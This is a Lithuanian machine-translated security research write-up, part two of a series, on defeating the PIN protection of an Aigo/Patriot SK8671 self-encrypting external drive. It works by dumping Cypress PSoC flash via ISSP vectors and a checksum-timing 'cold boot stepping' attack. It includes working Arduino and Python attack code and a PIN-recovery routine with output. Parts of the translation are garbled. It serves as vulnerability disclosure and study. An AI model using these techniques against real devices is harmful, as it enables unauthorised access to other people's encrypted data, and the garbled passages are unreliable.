Atbulinės eigos ir įsilaužimo Aigo savaime šifruojantis išorinis HDD diskas. 2 dalis: „Cypress PSoC“ sąvartyno paėmimas

Tai antroji ir paskutinė straipsnio dalis apie įsilaužimą į išorinius savaime šifruojančius diskus. Priminsiu, kad neseniai kolega man atnešė Patriot (Aigo) SK8671 kietąjį diską, nusprendžiau jį pakeisti, o dabar dalinuosi, kas iš to išėjo. Prieš skaitydami toliau, būtinai perskaitykite pirma dalis straipsniai.

4. Pradedame imti iš vidinės PSoC atmintinės
5. ISSP protokolas
– 5.1. Kas yra ISSP
– 5.2. Demistifikuojantys vektoriai
– 5.3. Bendravimas su PSoC
– 5.4. Mikroschemų registrų identifikavimas
– 5.5. Apsaugos detalės
6. Pirmoji (nepavyko) ataka: ROMX
7. Antroji ataka: šalto įkrovos sekimas
– 7.1. Įgyvendinimas
– 7.2. Skaitant rezultatą
– 7.3. Flash dvejetainė rekonstrukcija
– 7.4. PIN kodo saugojimo adreso radimas
– 7.5. 126 bloko sąvartyno paėmimas
– 7.6. PIN kodo atkūrimas
8. Kas toliau?
9. Išvada

Atbulinės eigos ir įsilaužimo Aigo savaime šifruojantis išorinis HDD diskas. 2 dalis: „Cypress PSoC“ sąvartyno paėmimas


4. Pradedame imti iš vidinės PSoC atmintinės

Taigi, viskas rodo (kaip nustatėme [pirmoje dalyje]()), kad PIN kodas yra saugomas PSoC blykstėse. Todėl turime perskaityti šiuos blykstės gylius. Priekyje reikalingi darbai:

  • kontroliuoti „bendravimą“ su mikrovaldikliu;
  • rasti būdą patikrinti, ar šis „bendravimas“ apsaugotas nuo skaitymo iš išorės;
  • rasti būdą, kaip apeiti apsaugą.

Yra dvi vietos, kur prasminga ieškoti galiojančio PIN kodo:

  • vidinė „flash“ atmintis;
  • SRAM, kur galima išsaugoti PIN kodą, kad jį būtų galima palyginti su vartotojo įvestu PIN kodu.

Žvelgdamas į ateitį pastebėsiu, kad vis tiek pavyko išmesti vidinę PSoC „flash drive“ – apeinant jos apsaugos sistemą naudodamas aparatinės įrangos ataką, vadinamą „šalto įkrovos sekimu“, – panaikinęs nedokumentuotas ISSP protokolo galimybes. Tai leido man tiesiogiai išmesti tikrąjį PIN kodą.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Galutinis programos kodas:

5. ISSP protokolas

5.1. Kas yra ISSP

„Ryšys“ su mikrovaldikliu gali reikšti skirtingus dalykus: nuo „pardavėjo iki pardavėjo“ iki sąveikos naudojant nuoseklųjį protokolą (pavyzdžiui, ICSP, skirta Microchip PIC).

Cypress tam turi savo patentuotą protokolą, vadinamą ISSP (in-system serial programing protocol), kuris iš dalies aprašytas technine specifikacija. Patentas US7185162 taip pat suteikia šiek tiek informacijos. Taip pat yra atvirojo kodo atitikmuo, vadinamas HSSP (panaudosime šiek tiek vėliau). ISSP veikia taip:

  • perkraukite PSoC;
  • išvesti stebuklingą numerį į šio PSoC serijos duomenų kaištį; įjungti išorinio programavimo režimą;
  • siųsti komandas, kurios yra ilgos bitų eilutės, vadinamos „vektoriais“.

ISSP dokumentacija apibrėžia šiuos vektorius tik nedaugeliui komandų:

  • Inicijuoti-1
  • Inicijuoti-2
  • Inicijuoti-3 (3V ir 5V parinktys)
  • ID-NUSTATYMAS
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, kur dddddddd=bloko Nr.
  • TURINIO IŠTRINIMO
  • PROGRAMOS BLOKAS
  • PATIKRINTI-NUSTATYTI
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, kur DDDDDDDD = duomenys išvesti, aaaaaa = adresas (6 bitai)
  • WRITE-BYTE: 10010aaaaaaddddddd111, kur dddddddd = duomenys įvesti, aaaaaa = adresas (6 bitai)
  • SAUGIAI
  • KONTROLĖS SUMOS NUSTATYMAS
  • SKAITYTI PATIKRINTI SUMĄ: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, kur DDDDDDDDDDDDDDDDDD = duomenų išvestis: įrenginio kontrolinė suma
  • IŠTRINTI BLOKĄ

Pavyzdžiui, Initialize-2 vektorius:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Visi vektoriai yra vienodo ilgio: 22 bitai. HSSP dokumentacijoje yra papildomos informacijos apie ISSP: „ISSP vektorius yra ne kas kita, kaip bitų seka, vaizduojanti instrukcijų rinkinį.

5.2. Demistifikuojantys vektoriai

Išsiaiškinkime, kas čia vyksta. Iš pradžių maniau, kad tie patys vektoriai yra neapdorotos M8C instrukcijų versijos, tačiau patikrinęs šią hipotezę sužinojau, kad operacijų kodai nesutampa.

Tada aš „Google“ ieškojau aukščiau pateikto vektoriaus ir radau štai jis studija, kurioje autorius, nors ir nesigilina, duoda keletą naudingų patarimų: „Kiekviena instrukcija prasideda trimis bitais, atitinkančiais vieną iš keturių mnemonikų (skaityti iš RAM, rašyti į RAM, skaityti registrą, rašyti registrą). Tada yra 8 adreso bitai, 8 duomenų bitai (skaitymo arba rašymo) ir galiausiai trys stop bitai.

Tada galėjau surinkti labai naudingos informacijos iš priežiūros ROM (SROM) skyriaus. techninis vadovas. SROM yra kietai užkoduotas PSoC ROM, teikiantis paslaugų funkcijas (panašiai kaip Syscall), skirtas programos kodui, veikiančiam vartotojo erdvėje:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: Lentelės skaitymas
  • 07h: Check Sum
  • 08h: Kalibruoti0
  • 09h: Kalibruoti1

Lygindami vektorių pavadinimus su SROM funkcijomis, galime susieti įvairias šio protokolo palaikomas operacijas su numatomais SROM parametrais. Dėl to galime iššifruoti pirmuosius tris ISSP vektorių bitus:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => „wrreg“
  • 111 => „rdreg“

Tačiau visišką supratimą apie mikroschemos procesus galima gauti tik tiesiogiai bendraujant su PSoC.

5.3. Bendravimas su PSoC

Kadangi Dirkas Petrautskis jau padarė perkeltas Cypress's HSSP kodas Arduino, aš naudoju Arduino Uno, kad prisijungčiau prie klaviatūros plokštės ISSP jungties.

Atkreipkite dėmesį, kad atlikdamas tyrimą aš šiek tiek pakeičiau Dirko kodą. Mano modifikaciją galite rasti GitHub: čia ir atitinkamas Python scenarijus, skirtas bendrauti su Arduino, mano saugykloje cypress_psoc_tools.

Taigi, naudodamas Arduino, „bendravimui“ pirmiausia naudojau tik „oficialius“ vektorius. Bandžiau nuskaityti vidinį ROM naudodami komandą VERIFY. Kaip ir tikėjausi, aš negalėjau to padaryti. Tikriausiai dėl to, kad „flash drive“ viduje yra suaktyvinti skaitymo apsaugos bitai.

Tada aš sukūriau keletą savo paprastų vektorių atminties / registrų rašymui ir skaitymui. Atkreipkite dėmesį, kad galime perskaityti visą SROM, net jei „flash drive“ yra apsaugota!

5.4. Mikroschemų registrų identifikavimas

Pažiūrėjęs į „išardytus“ vektorius, atradau, kad įrenginys naudoja nedokumentuotus registrus (0xF8-0xFA), kad nurodytų M8C opcodes, kurios vykdomos tiesiogiai, apeinant apsaugą. Tai leido man paleisti įvairius operacijų kodus, tokius kaip „ADD“, „MOV A, X“, „PUSH“ arba „JMP“. Jų dėka (žiūrėdamas į jų šalutinį poveikį registrams) galėjau nustatyti, kurie iš nedokumentuotų registrų iš tikrųjų buvo įprasti registrai (A, X, SP ir PC).

Dėl to HSSP_disas.rb įrankio sugeneruotas „išardytas“ kodas atrodo taip (dėl aiškumo pridėjau komentarų):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Apsaugos detalės

Šiame etape jau galiu bendrauti su PSoC, bet vis dar neturiu patikimos informacijos apie „flash drive“ saugos elementus. Mane labai nustebino tai, kad Cypress nesuteikia įrenginio vartotojui jokių priemonių patikrinti, ar įjungta apsauga. Pasigilinau į Google, kad pagaliau suprasčiau, jog Cypress pateiktas HSSP kodas buvo atnaujintas po to, kai Dirkas išleido savo modifikaciją. Ir taip! Atsirado šis naujas vektorius:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Naudodami šį vektorių (žr. read_security_data psoc.py), mes gauname visus saugos bitus SRAM 0x80, kur kiekviename apsaugotame bloke yra du bitai.

Rezultatas slegiantis: viskas apsaugota režimu „išjungti išorinį skaitymą ir rašymą“. Todėl mes ne tik negalime nieko nuskaityti iš „flash drive“, bet ir negalime nieko rašyti (pavyzdžiui, norėdami ten įdiegti ROM dumperį). Ir vienintelis būdas išjungti apsaugą yra visiškai ištrinti visą lustą. 🙁

6. Pirmoji (nepavyko) ataka: ROMX

Tačiau galime išbandyti tokį triuką: kadangi turime galimybę vykdyti savavališkus opkodus, kodėl gi nevykdžius ROMX, kuris naudojamas „flash“ atminčiai nuskaityti? Šis metodas turi didelę sėkmės galimybę. Kadangi funkcija ReadBlock, kuri nuskaito duomenis iš SROM (kurią naudoja vektoriai), patikrina, ar jis iškviestas iš ISSP. Tačiau ROMX opkodas gali neturėti tokio patikrinimo. Taigi čia yra Python kodas (pridėjus keletą pagalbinių klasių prie Arduino kodo):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Deja, šis kodas neveikia. 🙁 Arba veikiau, bet išvestyje gauname savo opcodes (0x28 0x30 0x40)! Nemanau, kad atitinkamas įrenginio funkcionalumas yra skaitymo apsaugos elementas. Tai labiau panašu į inžinerinį triuką: vykdant išorinius opcodes, ROM magistralė nukreipiama į laikiną buferį.

7. Antroji ataka: šalto įkrovos sekimas

Kadangi ROMX triukas nepasiteisino, pradėjau galvoti apie kitą šio triuko variaciją – aprašytą publikacijoje „Per daug šviesos išskiriama mikrovaldiklio programinės įrangos apsauga“.

7.1. Įgyvendinimas

ISSP dokumentacijoje pateikiamas šis CHECKSUM-SETUP vektorius:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Tai iš esmės iškviečia SROM funkciją 0x07, kaip pateikta dokumentacijoje (mano kursyvas):

Šios funkcijos kontrolinės sumos patikrinimas. Jis apskaičiuoja vartotojo nurodytų blokų skaičiaus 16 bitų kontrolinę sumą viename „flash“ banke, pradedant nuo nulio. Parametras BLOCKID naudojamas blokų, kurie bus naudojami apskaičiuojant kontrolinę sumą, skaičiui perduoti. Vertė „1“ apskaičiuos tik nulinio bloko kontrolinę sumą; kadangi „0“ apskaičiuos bendrą visų 256 „flash“ banko blokų kontrolinę sumą. 16 bitų kontrolinė suma grąžinama per KEY1 ir KEY2. Parametras KEY1 saugo žemos eilės 8 kontrolinės sumos bitus, o parametras KEY2 – aukščiausios eilės 8 bitus. Įrenginiams su keliais „flash“ bankais kontrolinės sumos funkcija iškviečiama kiekvienam atskirai. Banko numerį, su kuriuo jis veiks, nustato FLS_PR1 registras (nustatydamas jame bitą, atitinkantį tikslinį „flash“ banką).

Atkreipkite dėmesį, kad tai paprasta kontrolinė suma: baitai tiesiog pridedami vienas po kito; jokių išgalvotų CRC keistenybių. Be to, žinodamas, kad M8C branduolys turi labai mažą registrų rinkinį, maniau, kad skaičiuojant kontrolinę sumą, tarpinės reikšmės bus įrašytos į tuos pačius kintamuosius, kurie galiausiai pateks į išvestį: KEY1 (0xF8) / KEY2 ( 0xF9).

Taigi teoriškai mano ataka atrodo taip:

  1. Mes jungiamės per ISSP.
  2. Kontrolinės sumos skaičiavimą pradedame naudodami vektorių CHECKSUM-SETUP.
  3. Perkrauname procesorių po nurodyto laiko T.
  4. Perskaitome RAM, kad gautume dabartinę kontrolinę sumą C.
  5. Pakartokite 3 ir 4 veiksmus, kiekvieną kartą šiek tiek didindami T.
  6. Duomenis iš „flash drive“ atkuriame atėmę ankstesnę kontrolinę sumą C iš dabartinės.

Tačiau yra problema: Initialize-1 vektorius, kurį turime išsiųsti po perkrovimo, perrašo KEY1 ir KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Šis kodas perrašo mūsų brangią kontrolinę sumą, iškviesdamas Calibrate1 (SROM funkcija 9)... Gal tiesiog nusiunčiame stebuklingą skaičių (nuo aukščiau esančio kodo pradžios), kad įeitų į programavimo režimą, o tada nuskaityti SRAM? Ir taip, tai veikia! „Arduino“ kodas, įgyvendinantis šią ataką, yra gana paprastas:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Skaityti checkum_delay.
  2. Paleiskite kontrolinės sumos skaičiavimą (send_checksum_v).
  3. Palaukite tam tikrą laiką; atsižvelgiant į šiuos spąstus:
    • Sugaišau daug laiko, kol sužinojau, kas iš to išeina delsimas Mikrosekundės tinkamai veikia tik su vėlavimais, neviršijančiais 16383 μs;
    • ir tada vėl užmušė tiek pat laiko, kol sužinojau, kad delayMicroseconds, jei jai perduodama 0 kaip įvestis, veikia visiškai neteisingai!
  4. Perkraukite PSoC į programavimo režimą (mes tiesiog siunčiame stebuklingą skaičių, nesiunčiame inicijavimo vektorių).

Galutinis Python kodas:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Trumpai tariant, ką daro šis kodas:

  1. Perkrauna PSoC (ir siunčia stebuklingą numerį).
  2. Siunčia visus inicijavimo vektorius.
  3. Iškviečia Arduino funkciją Cmnd_STK_START_CSUM (0x85), kur kaip parametras perduodamas delsa mikrosekundėmis.
  4. Nuskaito kontrolinę sumą (0xF8 ir 0xF9) ir nedokumentuotą registrą 0xF1.

Šis kodas paleidžiamas 10 kartų per 1 mikrosekundę. 0xF1 įtrauktas čia, nes tai buvo vienintelis registras, kuris pasikeitė skaičiuojant kontrolinę sumą. Galbūt tai yra tam tikras laikinas kintamasis, kurį naudoja aritmetinis loginis vienetas. Atkreipkite dėmesį į bjaurų įsilaužimą, kurį naudoju iš naujo nustatydamas „Arduino“ naudodamas „Picocom“, kai „Arduino“ nustoja rodyti gyvybės ženklus (nežinau kodėl).

7.2. Skaitant rezultatą

Python scenarijaus rezultatas atrodo taip (supaprastintas, kad būtų lengviau skaityti):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Tai pasakius, turime problemą: kadangi dirbame su faktine kontroline suma, nulinis baitas nekeičia nuskaitytos vertės. Tačiau kadangi visa skaičiavimo procedūra (8192 baitai) užtrunka 0,1478 sekundės (su nedideliais svyravimais kiekvieną kartą, kai ji vykdoma), o tai prilygsta maždaug 18,04 μs vienam baitui, galime naudoti šį laiką kontrolinės sumos reikšmei patikrinti tinkamu laiku. Pirmaisiais paleidimais viskas skaitoma gana lengvai, nes skaičiavimo procedūros trukmė visada yra beveik tokia pati. Tačiau šio išmetimo pabaiga yra ne tokia tiksli, nes kiekvieno važiavimo „nežymūs laiko nukrypimai“ tampa reikšmingi:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Tai yra 10 išmetimų už kiekvieną mikrosekundės delsą. Bendras visų 8192 baitų „flash drive“ išmetimo laikas yra apie 48 valandas.

7.3. Flash dvejetainė rekonstrukcija

Dar nebaigiau rašyti kodo, kuris visiškai atkurs „flash drive“ programos kodą, atsižvelgdamas į visus laiko nukrypimus. Tačiau šio kodo pradžią jau atkūriau. Kad įsitikinčiau, jog tai padariau teisingai, išardžiau jį naudodamas m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Atrodo gana tikėtina!

7.4. PIN kodo saugojimo adreso radimas

Dabar, kai galime perskaityti kontrolinę sumą mums reikiamu laiku, galime lengvai patikrinti, kaip ir kur ji keičiasi, kai:

  • įveskite neteisingą PIN kodą;
  • pakeisti PIN kodą.

Pirma, norėdamas rasti apytikslį saugyklos adresą, po perkrovimo paėmiau kontrolinės sumos išmetimą 10 ms žingsniais. Tada įvedžiau neteisingą PIN kodą ir padariau tą patį.

Rezultatas nebuvo labai malonus, nes buvo daug pokyčių. Bet galų gale man pavyko nustatyti, kad kontrolinė suma pasikeitė kažkur tarp 120000 140000 µs ir 0 XNUMX µs vėlavimo. Tačiau ten rodomas „pinkodas“ buvo visiškai neteisingas – dėl delsos mikrosekundžių procedūros artefakto, kuris daro keistus dalykus, kai perduodamas XNUMX.

Tada, praleidęs beveik 3 valandas, prisiminiau, kad SROM sistemos iškvietimas CheckSum kaip įvestį gauna argumentą, kuris nurodo kontrolinės sumos blokų skaičių! Tai. galime lengvai lokalizuoti PIN kodo saugojimo adresą ir „neteisingų bandymų“ skaitiklį iki 64 baitų bloko tikslumu.

Mano pradiniai bėgimai davė tokį rezultatą:

Atbulinės eigos ir įsilaužimo Aigo savaime šifruojantis išorinis HDD diskas. 2 dalis: „Cypress PSoC“ sąvartyno paėmimas

Tada pakeičiau PIN kodą iš "123456" į "1234567" ir gavau:

Atbulinės eigos ir įsilaužimo Aigo savaime šifruojantis išorinis HDD diskas. 2 dalis: „Cypress PSoC“ sąvartyno paėmimas

Taigi PIN kodas ir neteisingų bandymų skaitiklis tarsi saugomi bloke Nr.126.

7.5. 126 bloko sąvartyno paėmimas

Blokas Nr. 126 turėtų būti kažkur apie 125x64x18 = 144000 μs, nuo kontrolinės sumos skaičiavimo pradžios, mano visiškame išmetimo lange, ir tai atrodo gana tikėtina. Tada, rankiniu būdu atsijojęs daugybę netinkamų iškeltų (dėl susikaupusių „nedidelių laiko nukrypimų“), gavau šiuos baitus (145527 μs delsa):

Atbulinės eigos ir įsilaužimo Aigo savaime šifruojantis išorinis HDD diskas. 2 dalis: „Cypress PSoC“ sąvartyno paėmimas

Visiškai akivaizdu, kad PIN kodas saugomas nešifruota forma! Šios reikšmės, žinoma, nėra parašytos ASCII kodais, tačiau, kaip paaiškėjo, jos atspindi rodmenis, paimtus iš talpinės klaviatūros.

Galiausiai atlikau dar keletą testų, kad išsiaiškinčiau, kur buvo saugomas blogų bandymų skaitiklis. Štai rezultatas:

Atbulinės eigos ir įsilaužimo Aigo savaime šifruojantis išorinis HDD diskas. 2 dalis: „Cypress PSoC“ sąvartyno paėmimas

0xFF – reiškia „15 bandymų“ ir mažėja su kiekvienu nesėkmingu bandymu.

7.6. PIN kodo atkūrimas

Štai mano bjaurus kodas, kuris sujungia aukščiau nurodytus dalykus:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Štai jo vykdymo rezultatas:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Sveika! Veikia!

Atkreipkite dėmesį, kad mano naudojamos delsos reikšmės greičiausiai yra susijusios su konkrečiu PSoC – tuo, kurį naudojau.

8. Kas toliau?

Taigi, apibendrinkime PSoC, mūsų Aigo disko kontekste:

  • galime nuskaityti SRAM, net jei ji yra apsaugota;
  • Apsaugą nuo braukimo galime apeiti naudodami šalto įkrovos sekimo ataką ir tiesiogiai nuskaitydami PIN kodą.

Tačiau mūsų ataka turi tam tikrų trūkumų dėl sinchronizavimo problemų. Jį būtų galima patobulinti taip:

  • parašyti įrankį, skirtą teisingai iššifruoti išvesties duomenis, gautus dėl „šalto įkrovos pėdsakų“ atakos;
  • naudokite FPGA programėlę, kad sukurtumėte tikslesnius laiko delsus (arba naudokite Arduino aparatūros laikmačius);
  • išbandykite kitą ataką: įveskite sąmoningai neteisingą PIN kodą, paleiskite iš naujo ir išmeskite RAM, tikėdamiesi, kad teisingas PIN kodas bus išsaugotas RAM, kad būtų galima palyginti. Tačiau „Arduino“ tai padaryti nėra taip paprasta, nes „Arduino“ signalo lygis yra 5 voltai, o mūsų nagrinėjama plokštė veikia su 3,3 volto signalais.

Vienas įdomus dalykas, kurį būtų galima išbandyti, yra žaisti su įtampos lygiu, kad būtų galima apeiti skaitymo apsaugą. Jei šis metodas veiktų, galėtume gauti visiškai tikslius duomenis iš „flash drive“ – užuot pasikliavę kontrolinės sumos nuskaitymu su netiksliais laiko delsomis.

Kadangi SROM tikriausiai nuskaito apsaugos bitus per ReadBlock sistemos iškvietimą, galėtume padaryti tą patį, ką aprašyta Dmitrijaus Nedospasovo tinklaraštyje – konferencijoje paskelbtas pakartotinis Chriso Gerlinskio atakos įgyvendinimas „REcon Brussels 2017“.

Kitas įdomus dalykas, kurį būtų galima padaryti, yra nušlifuoti korpusą nuo lusto: paimti SRAM išmetimą, nustatyti nedokumentuotus sistemos iškvietimus ir pažeidžiamumus.

9. Išvada

Taigi, šio disko apsauga palieka daug norimų rezultatų, nes PIN kodui saugoti naudojamas įprastas (ne „užgrūdintas“) mikrovaldiklis... Be to, (dar) nežiūrėjau, kaip viskas vyksta su duomenimis. šifravimas šiame įrenginyje!

Ką galėtumėte rekomenduoti Aigo? Išanalizavęs porą šifruotų HDD diskų modelių, 2015 m. pristatymas „SyScan“, kuriame išnagrinėjo kelių išorinių HDD diskų saugos problemas ir pateikė rekomendacijas, ką juose būtų galima patobulinti. 🙂

Atlikdamas šį tyrimą praleidau du savaitgalius ir kelis vakarus. Iš viso apie 40 valandų. Skaičiavimas nuo pat pradžių (kai atidariau diską) iki pabaigos (PIN kodo išmetimas). Į tas pačias 40 valandų įeina laikas, kurį praleidau rašydamas šį straipsnį. Tai buvo labai įdomi kelionė.

Šaltinis: www.habr.com

Добавить комментарий